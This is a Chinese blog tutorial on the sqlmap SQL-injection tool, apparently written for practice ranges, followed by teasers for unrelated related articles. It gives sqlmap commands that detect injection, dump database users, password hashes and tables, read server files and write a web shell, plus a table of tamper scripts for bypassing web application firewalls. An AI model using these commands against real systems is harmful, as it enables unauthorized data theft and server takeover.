sqlmap工具
sqlmap
-
Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库
-
Sqlmap采用了以下5种独特的SQL注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
基础参数
测试信息展示(-v 0)(mozhe靶场)
-
测试时,可以使用 -v 等级 参数指定回显信息的复杂度,其范围为[0~6],共有 7 个等级,默认为 1
0:只显示python错误以及严重的信息 1:同时显示基本信息和警告信息(默认) 2:同时显示debug信息 3:同时显示注入的payload 4:同时显示HTTP请求 5:同时显示HTTP响应头 6:同时显示HTTP响应页面
- 如果想看到 sqlmap 发送的测试 payload 最好的等级就是3
- 没思路时也可以借鉴工具构造的payload扩展思路
python sqlmap.py -u "http://219.153.49.228:45269/new_list.asp?id=2" -v 3
-
使用–batch会自动选项默认的选项执行,但可能会触发防火墙的告警
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --batch
根据文本判断是否存在注入(-r 1.txt)(mozhe靶场)
-
将一个 HTTP 请求保存在文件中,使用参数
-r
加载该文件,其会解析该文件并发送请求,一般用于表单提交时的注入等发送数据复杂时的情况 -
当请求是HTTPS的时候需要配合–force-ssl参数来使用,或者可以在host头后面加上:443
-
将数据包存放到txt文件中,随后使用命令执行
python sqlmap.py -r zxgtwy.txt
探测等级选择(–level 1)
-
参数–level 等级 可以选择需要执行的测试等级,一共有5个等级[1-5],不加 level 默认是1。5级包含的 Payload 最多,会自动破解出 cookie、XFF等头部注入。等级越高,执行的时间也会增长
-
该参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie 在 level 为2时就会测试,HTTP User-Agent/Referer 头在 level 为3时就会测试。level为5时会检测Host是否存在注入漏洞。当在不确定哪个 payload 或参数为注入点时,为了保证全面性,建议使用高的 level 值
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-19/" --level 3
运行自定义SQL语句(–sql-shell)
-
使用–sql-shell参数可以开启交互式SQL语句执行环境
python sqlmap.py -u http://127.0.0.1/sqlb/Less-1/?id=1 --sql-shell
获得数据库管理员角色(–roles)
-
使用–roles参数可以列出数据库管理员角色,如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用
-U
参数指定想看哪个用户的角色python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --roles
上传文件到目标系统(–file-write & --file-dest)(本机演示)
-
使用–file-write & --file-dest参数可以上传文件到目标系统(一般用来写shell,仅当数据库管理系统是MySQL、PostgreSQL 或微软的 SQL Server 且当前用户有写入文件相关权限),上传的文件可以是文本,也可以是二进制文件。其中 --file-dest后跟目标机地址,–file-write后跟本机要上传文件的地址
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --file-write "D:\1.txt" --file-dest "D:\phpstudy_pro\WWW\zxgtwy.php"
获取多个扫描目标(-m 文件路径)
-
使用-m参数,会使SQLmap将文本中的url一个一个检测
python sqlmap.py -m D:\dizhi.txt
选择测试参数(-p与–skip)
-
使用-p参数可以指定需要测试的参数,且不受–level限制
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" -p "id"
-
使用–skip参数可以指定不需要测试的参数
- 比如当–level 3时不想测试user-agent
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --level 3 --skip="user-agent"
-
指定参数时还可以用 *,在参数上加 *与 -p效果相同,只不过 *还可以支持伪静态页面比如:/user/2/这个伪静态页面,参数为2,则可以使用如下方法测试
python sqlmap.py -u "http://127.0.0.1/user/1*/"
并发线程测试(–threads)
-
当测试量大时,可使用参数–threads来增加线程数,加快速度,最多设置10
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-19/" --data="uname=123&passwd=123&submit=Submit" --threads 5
风险等级设置(–risk)
-
参数–risk可设置风险等级,共有1~4共四级,默认为1,不推荐使用 risk >= 3的风险等级
-
风险等级2添加了基于时间的注入测试,等级3怎加 OR语句的SQL测试。若注入点是在 UPDATE 语句中,使用 OR 测试可能会修改整个表的数据
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-10/?id=1" --risk 2
列举数据库相关信息(-b或–banner)
-
参数-b或–banner可以列举数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" -b
扫描方案
测试漏洞
-
对于直接访问的网站,使用-u指定其URL即可测试是否有注入的可能(用sqli靶场演示)
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1"
- 中间会有各种提示选项,根据自身需求选择即可,最终结果如下
-
对于登陆后才可访问到的信息,使用–cookie添加cookie(用dvwa靶场演示)
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1" --data="Submit=Submit#" --cookie="你的cookie值"
- 中间会有各种提示选项,根据自身需求选择即可,最终结果如下
-
对于POST类型则需要在–data中添加信息(用sqli靶场演示)
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-11/" --data="uname=1&passwd=1&submit=Submit"
获取信息(mozhe靶场)
-
使用–users查看数据库用户
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --users
-
使用–passwords查看数据库用户密码
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --passwords
-
使用–current-user查看当前用户
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --current-user
-
使用–is-dba判断当前用户是否具有管理员权限
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --is-dba
-
使用–dbs查看所有数据库
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --dbs
-
使用–current-db查看当前数据库
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" --current-db
-
使用-D指定数据库,–tables获取表信息
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" -D mozhe_Discuz_StormGroup --tables
-
使用-D指定数据库,-T指定表,–columns获取列信息
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member --columns
-
配合–dump-all获取所有信息
- -D xx -T xxx --dump-all 可爆出数据库xx中的xxx表中的所有数据
- -D xx --dump-all 可爆出数据库xx中的所有数据
- –dump-all 可爆出当前数据库中的所有数据
python sqlmap.py -u "http://124.70.22.208:49816/new_list.php?id=1" -D mozhe_Discuz_StormGroup -T StormGroup_member --dump-all
绕过WAF(–tamper=脚本)
- 可配合前篇文章介绍的waf00f来判断对方有无防火墙
- 使用waf00f得知防火墙类型后,可配合–tamper脚本来绕过,在tamper下有官方提供的脚本
python sqlmap.py -u "地址" --tamper=脚本
读取服务器文件(–file-read 文件)
-
MySQL、PostgreSQL或SQL Server,在当前用户权限足够时,可读取指定文件
-
例如:读取目标服务器D盘的gt.txt文件:
python sqlmap.py -u "http://127.0.0.1/sqlb/Less-1/?id=1" --file-read "D:/gt.txt"
其它参数
- 参数–force-ssl强制使用 SSL,在测试 HTTPS 的网站时推荐使用该参数,可能会测出未加该参数时测不出的注入
- 参数-l 值可以从Burp或者WebScarab代理中获取日志,进行测试
- 参数–user-agent 值 可以修改请求中的头部信息,–random-agent可以随机从目录下的user-agents.txt中获取头部
- 参数–host 值,可以设置host头的值
- 参数–referer 值 ,可以伪造referer信息
- 参数–headers 值 ,可以自定义头部值
- 参数–proxy 代理地址 ,可以设置代理信息,当代理需要认证可以在使用–proxy-cred username:password
- 参数–delay 时间,可以设定两个请求间的延迟,默认无延迟单位是秒
- 参数–timeout 时间,可以设定请求判断超时的时间,默认为30秒
- 参数–retries 参数,可以设定重新尝试连接次数,默认是3次
- 参数–safe-url 地址,提供一个安全不错误的连接,每隔一段时间都会去访问一下
- 参数–safe-freq 地址,提供一个安全不错误的连接,每次测试请求之后都会请求一次安全连接
- 参数–keep-alive使得sqlmap使用持久连接
- 参数–null-connection可以用在盲注来区分true/false响应
- 参数–count可以获取表中的数据个数而不是内容
- 参数–common-tables是当–tables无法获取到数据库的表时,可以使用此参数暴力破解表名
- 参数–common-columns是当–columns无法获取到数据库的列名时,可以使用此参数暴力破解
- 参数–udf-inject,–shared-lib来完成用户自定义函数注入
- 参数–os-shell在得知网站绝对路径后可以写入shell
- 参数–beep为发现sql注入时,发出蜂鸣声
- 参数-hpp可以使用HTTP参数污染
- 参数–identify-waf可以测试WAF/IPS/IDS保护,方便用户做出绕过方式
- 参数–check-waf可以测试WAF/IPS/IDS保护,方便用户做出绕过方式
- 参数–wizard是面向初级用户的参数,会教如何输入
脚本介绍
脚本名称 | 注释 | 通过测试的数据库 |
---|---|---|
0eunion.py | 使用e0UNION替换UNION | MySQL、MsSQL |
apostrophemask.py | 将单引号字符(‘)替换为UTF-8全宽对应字符(例如:’ -> %EF%BC%87),可用于单引号被过滤情况下 | |
apostrophenullencode.py | 将单引号字符(‘)替换为非法的双unicode对应字符(例如:’ -> %00%27)。就是将单引号替换为宽字节 unicode 字符,可用于过滤了单引号的情况 | |
appendnullbyte.py | 在payload后追加一个空字符 | Microsoft Access |
base64encode.py | 将payload中所有字符替换成base64编码格式 | |
between.py | 将大于符号和等号用BETWEEN语句替换,可用于过滤了大于符号和等号的情况 | Microsoft SQL Server 2005 |MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
binary.py | 尝试将关键字转换为二进制来绕过检测 | MySQL |
bluecoat.py | 将SQL语句后的空格字符替换为随机的有效空白字符。之后用LIKE操作符替换字符’=’ | MySQL 5.1, SGOS |
chardoubleencode.py | 对给定payload进行两次url编码(不处理已经编码的字符) | |
charencode.py | 对给定payload进行url编码(不处理已经编码的字符) | Microsoft SQL Server 2005 |MySQL 4, 5.0 and 5.5 |Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
charunicodeencode.py | 进行unicode编码,需要ASP|ASP.net | Microsoft SQL Server 2000|Microsoft SQL Server 2005|MySQL 5.1.56|PostgreSQL 9.0.3 |
charunicodeescape.py | 以指定的payload反向编码未编码的字符(不处理已经编码的字符) | |
commalesslimit.py | 将MySQL payload中LIMIT语句替换,LIMIT X,Y==>LIMIT Y OFFSET X | MySQL 5.0 and 5.5 |
commalessmid.py | 将MySQL payload的MID(X,Y, Z)替换成MID(X FROM Y FOR Z) | MySQL 5.0 and 5.5 |
commentbeforeparentheses.py | 在括号前加上/**/内联注释 | Microsoft SQL Server|MySQL|Oracle|PostgreSQL |
concat2concatws.py | 将MySQL payload中CONCAT语句替换CONCAT(X,Y)==>CONCAT_WS(MID(CHAR(0), 0, 0), X,Y) | MySQL 5.0 |
decentities.py | 使用十进制HTML编码编码所有字符 | |
dunion.py | 将 UNION用DUNION替代 | Oracle |
equaltolike.py | 使用“LIKE”运算符替换全部等于号“=” | Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5 |
equaltorlike.py | 使用“RLIKE”运算符替换全部等于号“=” | MySQL 4, 5.0 and 5.5 |
escapequotes.py | 斜杠转义单引号和双引号' -> \' | |
greatest.py | 将大于运算符(‘>’)替换为对应的’GREATEST’ | MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
halfversionedmorekeywords.py | 当数据库为MySQL时绕过防火墙,在每个关键字之前添加(MySQL)版本注释 | MySQL 4.0.18, 5.0.22 |
hex2char.py | 当数据库为MYsql时,将0x 用CONCAT(CHAR(),…)替代 | MySQL 4, 5.0 and 5.5 |
hexentities.py | 将所有字符按照十六进制HTML字符实体编码 | |
htmlencode.py | 将payload中非字母非数字字符进行HTML编码 | |
if2case.py | 将“IF(A,B,C)”替换为“CASE WHEN(A)THEN(B)ELSE(C)END” | MySQL 5.0 and 5.5|SQLite (possibly)|SAP MaxDB (possibly) |
ifnull2casewhenisnull.py | 将 ‘IFNULL(A, B)’ 替换为 ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ | MySQL 5.0 and 5.5|SQLite (possibly)|SAP MaxDB (possibly) |
ifnull2ifisnull.py | 将’IFNULL(A, B)'替换为 ‘IF(ISNULL(A), B, A)’ | MySQL 5.0 and 5.5|SQLite (possibly)| SAP MaxDB (possibly) |
informationschemacomment.py | 在"information_schema"后面加上内联注释/**/ | MYSQL |
least.py | 将">" 替换成’LEAST’ | MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
lowercase.py | 用小写值替换每个关键字字符 | Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
luanginx.py | LUA-Nginx WAFs Bypass | |
misunion.py | 将UNION 用 -.1UNION替换 | MySQL |
modsecurityversioned.py | 过滤空格时,用注释包含完整的查询 | MySQL 5.0 |
modsecurityzeroversioned.py | 用当中带有数字零的注释包围完整的查询 | MySQL 5.0 |
multiplespaces.py | 添加多个空格在SQL关键字周围 | |
ord2ascii.py | 用ASCII()调用替换ORD() | MySQL |
overlongutf8.py | 将给定Payload中的所有(非字母数字)字符转换为超长UTF8(不处理已编码字符) | |
overlongutf8more.py | 将给定Payload中的所有字符转换为超长UTF8(不处理已编码字符) | |
percentage.py | 每个字符前添加%,Requirement: ASP | Microsoft SQL Server 2000, 2005|MySQL 5.1.56, 5.5.11|PostgreSQL 9.0 |
plus2concat.py | 将加号替换为concat函数 | Microsoft SQL Server 2012+ |
plus2fnconcat.py | 将加号替换为ODBC函数{fn CONCAT()} | Microsoft SQL Server 2008+ |
randomcase.py | 随机转换每个关键字字符的大小写 | Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0|SQLite 3 |
randomcomments.py | 向SQL关键字中随机插入注释 | |
schemasplit.py | 将FROM模式标识符(例如“testdb.users”)与空白(例如“Testdb 9.e.users”)分开 | MySQL |
scientific.py | 滥用MySQL科学符号 | MySQL |
sleep2getlock.py | 将“SLEEP(5)”等实例替换为像“GET_LOCK(‘ETgP’,5)” | MySQL 5.0 and 5.5 |
sp_password.py | 该脚本的作用是在payload的后面添加关键字“sp_password”,使得查询不会记录到日志中 | MSSQL |
space2comment.py | 用注释/**/替换空格字符 | Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
space2dash.py | 将空格替换为“–”加随机字符串和一个换行符替换 | MSSQL|SQLite |
space2hash.py | 将空格替换为“#”加随机字符串和一个换行符替换 | MySQL 4.0, 5.0 |
space2morecomment.py | 将空格用/**_**/ 替换 | MySQL 5.0 and 5.5 |
space2morehash.py | 将空格用“#”加一个随机字符串再加一个换行符替换MySQL >= 5.1.13 | MySQL 5.1.41 |
space2mssqlblank.py | 空格替换为其它空符号 | Microsoft SQL Server 2000|Microsoft SQL Server 2005 |
space2mssqlhash.py | 将空格用“#”和一个换行符替换 | MSSQL|MySQL |
space2mysqlblank.py | 用一组有效的备选字符集当中的随机空白符替换空格符 | MySQL 5.1 |
space2mysqldash.py | 替换空格字符为’–‘后跟一个’\n’ | MySQL|MSSQL |
space2plus.py | 用加号“+”替换空格符 | |
space2randomblank.py | 用一组有效的备选字符集当中的随机空白符替换空格符 | Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
substring2leftright.py | 用LEFT和RIGHT替换PostgreSQL的SUBSTRING | PostgreSQL 9.6.12 |
symboliclogical.py | AND和OR替换为&&和|| | |
unionalltounion.py | 将union all select替换为union select | |
unmagicquotes.py | 宽字符绕过GPC | |
uppercase.py | 将关键字全部替换为大写值 | Microsoft SQL Server 2005|MySQL 4, 5.0 and 5.5|Oracle 10g|PostgreSQL 8.3, 8.4, 9.0 |
varnish.py | 添加一个HTTP头“X-originating-IP”来绕过WAF | |
versionedkeywords.py | 用MySQL注释包围每个非函数关键字 | MySQL 4.0.18, 5.1.56, 5.5.11 |
versionedmorekeywords.py | 用MySQL注释包围每个关键字,MySQL >= 5.1.13 | MySQL 5.1.56, 5.5.11 |
xforwardedfor.py | 添加伪造的HTTP头“X-Forwarded-For” |
参考链接
- https://www.cnblogs.com/bmjoker/p/9326258.html
|
| versionedkeywords.py | 用MySQL注释包围每个非函数关键字 | MySQL 4.0.18, 5.1.56, 5.5.11 |
| versionedmorekeywords.py | 用MySQL注释包围每个关键字,MySQL >= 5.1.13 | MySQL 5.1.56, 5.5.11 |
| xforwardedfor.py | 添加伪造的HTTP头“X-Forwarded-For” | |
参考链接
- https://www.cnblogs.com/bmjoker/p/9326258.html
- https://blog.csdn.net/Gherbirthday0916/article/details/126857683
相关文章:

sqlmap工具
sqlmap Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库 Sqlmap采用了以下5种独特的SQ…...

高/低压供配电系统设计——安科瑞变电站电力监控系统的应用
摘 要:在电力系统的运行过程中,变电站作为整个电力系统的核心,在保证电力系统可靠的运行方面起着至关重要的作用,基于此需对变电站监控系统的特点进行分析,结合变电站监控系统的功能需求,对变电站电力监控系…...

Tapdata 和 Databend 数仓数据同步实战
作者:韩山杰https://github.com/hantmacDatabend Cloud 研发工程师基础架构在云计算时代也发生着翻天地覆的变化,对于业务的支持变成了如何能利用好云资源实现降本增效,同时更好的支撑业务也成为新时代技术人员的挑战。 本篇文章通过…...

单核CPU, 1G内存,也能做JVM调优吗?
最近,笔者的技术群里有人问了一个有趣的技术话题:单核CPU, 1G内存的超低配机器,怎么做JVM调优?这实际上是两个问题。单核CPU的超低配机器,怎么充分利用CPU?单核CPU, 1G内存的超低配机器,怎么做J…...

《计算机应用研究》投稿经历和时间节点
记录四川计算机研究院《计算机应用研究》期刊投稿经历和时间节点。 日期状态周期2022.11.09上传稿件当天显示编辑部已接收稿件,开始初审2022.11.09 – 2022.11.15初审6天2022.11.15 – 2022.12.21外审36天2022.12.21收到退修意见(邮件形式)编…...

mars3d获取视窗的范围
期望效果 :1.我现在想获取到当前视窗的地图范围,请问有什么⽅法可以拿到吗 2.⽐如当前视窗地图范围的边界点,每个边界点的经纬度 回复:1.mars3d的API⽂档中有相关的⽅法 2.具体使⽤可以参考⽂档地址:http://mars3d.cn/api/Map.htm…...

《高性能MySQL》读书笔记(上)
目录 MySQL的架构 MySQL中的锁 MySQL中的事务 事务特性 隔离级别 事务日志 多版本并发控制MVCC 影响MySQL性能的物理因素 InnoDB缓冲池 MySQL常用的数据类型以及优化 字符串类型 日期和时间类型 数据标识符 MySQL的架构 默认情况下,每个客户端连接都…...

05-代理模式
代理模式 代理模式使用代理对象来代替真实对象的访问,在不修改原有对象的前提下,提供额外的操作,扩展目标对象的功能。代理模式分为静态代理和动态代理。 静态代理 手动为目标对象中的方法进行增强,通过实现相同接口重写方法进…...

RocketMQ源码分析之消费队列、Index索引文件存储结构与存储机制-上篇
RocketMQ 存储基础回顾: 源码分析RocketMQ之CommitLog消息存储机制 本文主要从源码的角度分析 Rocketmq 消费队列 ConsumeQueue 物理文件的构建与存储结构,同时分析 RocketMQ 索引文件IndexFile 文件的存储原理、存储格式以及检索方式。RocketMQ 的存储…...

基于Java的浏览器的设计与实现毕业设计
技术:Java等摘要:当今世界是一个以计算机网络为核心的信息时代,互联网为人们快速获取、发布和传递信息提供了便捷,而浏览器作为互联网上查找信息的重要工具,给人们提供了巨大而又宝贵的信息财富,受到了大家…...

手把手教你使用vite打包自己的js代码包并推送到npm
准备 要有npm账号,没有的铁子去npm官网注册一个,又不要钱。 使用vite创建项目 一行代码搞定 npm create vite viet-demo框架选择Others 模板选择library 选择ts 这样项目就创建完了 这个项目默认有一个函数,用来记录按钮的点击次数并…...

Tomcat源码分析-关于tomcat热加载的一些思考
在前面的文章中,我们分析了 tomcat 类加载器的相关源码,也了解了 tomcat 支持类的热加载,意味着 tomcat 要涉及类的重复卸装/装载过程,这个过程是很敏感的,一旦处理不当,可能会引起内存泄露 卸载类 我们知…...

DataWhale 大数据处理技术组队学习task4
五、分布式并行编程模型MapReduce 1. 概述 1.1 分布式并行编程 背景:摩尔定律已经开始逐渐失效,提升数据处理计算能力刻不容缓。传统的程序开发与分布式并行编程 传统的程序开发:以单指令、单数据流的方式顺序执行,虽然这种方式…...

Oracle 12C以上统计信息收集CDB、PDB执行时间不一致问题
文章目录前言一、统计信息窗口期调查二、时区调查三、查询alert记录四、why Database Statistic Collection Job is running two times inside a Maintenance Window?五、Default Scheduler Timezone Value In PDB$SEED Different Than CDB六、总结前言 在实际工作中发现一个…...

用Python获取弹幕的两种方式(一种简单但量少,另一量大管饱)
前言 弹幕可以给观众一种“实时互动”的错觉,虽然不同弹幕的发送时间有所区别,但是其只会在视频中特定的一个时间点出现,因此在相同时刻发送的弹幕基本上也具有相同的主题,在参与评论时就会有与其他观众同时评论的错觉。 在国内…...

算法训练营 day55 动态规划 买卖股票问题系列3
算法训练营 day55 动态规划 买卖股票问题系列3 最佳买卖股票时机含冷冻期 309. 最佳买卖股票时机含冷冻期 - 力扣(LeetCode) 给定一个整数数组prices,其中第 prices[i] 表示第 i 天的股票价格 。 设计一个算法计算出最大利润。在满足以下…...

电商共享购模式,消费增值返利,app开发
在当今以市场需求为主导的数字经济时代,消费者需求呈现出精细化管理和多元化的特性,目标市场日渐完善,另外在大数据技术迅速进步和运用的驱动下,总体行业的发展节奏感也在不断加速。因而,企业需要建立一套灵活多变的经…...

机房信息牌系统
产品特色: 无线低功耗安装简单,快速布置易于维护墨水屏显示,清晰,更环保信息后台推送,远程管理多模版样式随意制作多尺寸:4.2寸,7.5寸,10.2寸4.2寸7.5寸10.2寸标签特性:…...

金测评 手感更细腻的游戏手柄,双模加持兼容更出色,雷柏V600S上手
很多朋友周末都喜欢玩玩游戏放松一下,在家玩游戏的时候,PC是大家常用的平台,当然了,玩游戏的时候用键鼠的话,手感难免差点意思,还是要手柄才能获得更好的体验。我现在用的是雷柏V600S,这是一款支…...

Windows10 下测试 Intel SGX 功能
文章目录参考文献系统要求一、安装Open Enclave SDK 环境(一)什么是Open Enclave SDK(二)启动SGX功能方法一: BIOS启动方法二:软件方式启动(三)安装必要环境(1࿰…...

Tina_Linux_功耗管理_开发指南
Tina Linux 功耗管理开发指南 1 概述 1.1 编写目的 简要介绍tina 平台功耗管理机制,为关注功耗的开发者,维护者和测试者提供使用和配置参考。 1.2 适用范围 表1-1: 适用产品列表产品名称内核版本休眠类型参与功耗管理的协处理器R328Linux-4.9NormalS…...

golang编译dll失败问题解决
执行go build -buildmodec-shared -o exportgo.dll exportgo.go报类似如下错误/usr/lib/gcc/x86_64-pc-msys/9.1.0/../../../../x86_64-pc-msys/bin/ld: 找不到 -lmingwex/usr/lib/gcc/x86_64-pc-msys/9.1.0/../../../../x86_64-pc-msys/bin/ld: 找不到 -lmingw32安装tdm gcc m…...

Convolutional Neural Networks for Sentence Classification
摘要 We report on a series of experiments with convolutional neural networks (CNN) trained on top of pre-trained word vectors for sentence-level classification tasks. We show that a simple CNN with little hyperparameter tuning and static vectors achieves e…...

基于SpringBoot的共享汽车管理系统
文末获取源码 开发语言:Java 框架:springboot JDK版本:JDK1.8 服务器:tomcat7 数据库:mysql 5.7/8.0 数据库工具:Navicat11 开发软件:eclipse/myeclipse/idea Maven包:Maven3.3.9 浏…...

TCP三次握手
参考:4.1 TCP 三次握手与四次挥手面试题 | 小林coding TCP 头格式 我们先来看看 TCP 头的格式,标注颜色的表示与本文关联比较大的字段,其他字段不做详细阐述。 序列号:在建立连接时由计算机生成的随机数作为其初始值,…...

未来土地利用模拟FLUS模型
未来土地利用模拟(FutureLand-Use Simulation, FLUS)模型1 模型简介1.1 基于ANN 的适宜性概率计算1.2 基于自适应惯性机制的元胞自动机1.3 模拟精度评价参考流域 径流变化是 自然因素和 人为因素共同作用的结果,其中人为因素最为直接的方式就…...

压力传感器MPX5700D/MPX5700GP/MPX5700AP产品概述、特征
MPX5700系列压阻式换能器是最先进的单片硅压力传感器,可广泛用于各种应用,特别是采用A/D输入微控制器或微处理器的应用。这一获得专利的单元件传感器集合了高级微加工技术、薄膜金属化、双极工艺,能够提供精确的、与所施加压力成正比的高电平…...

taobao.trades.sold.query( 根据收件人信息查询交易单号 )
¥开放平台免费API必须用户授权聚石塔内调用 根据收件人信息查询交易单号。 公共参数 请求地址: HTTP地址 公共请求参数: 公共响应参数: 请求参数 请求示例 TaobaoClient client new DefaultTaobaoClient(url, appkey, secret); TradesSoldQueryRequest req new…...

【JavaWeb】JSON、AJAX(305-317)
305.JSON-什么是JSON JSON (JavaScript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。JSON 采用完全独立于语言的文本格式,而且很多语言都提供了对 json 的支持(包括 C, C, C#, Java, JavaScript, Perl,…...

AI入场,搜索这个“营销枢纽”有新故事吗?
哪里有内容,哪里就有搜索。 以前,互联网离我们生活很远,传统搜索与用户的距离分割,只有当用户想要了解什么,才会去使用。 如今,互联网与真实世界密不可分,加之新技术、新平台的不断涌现…...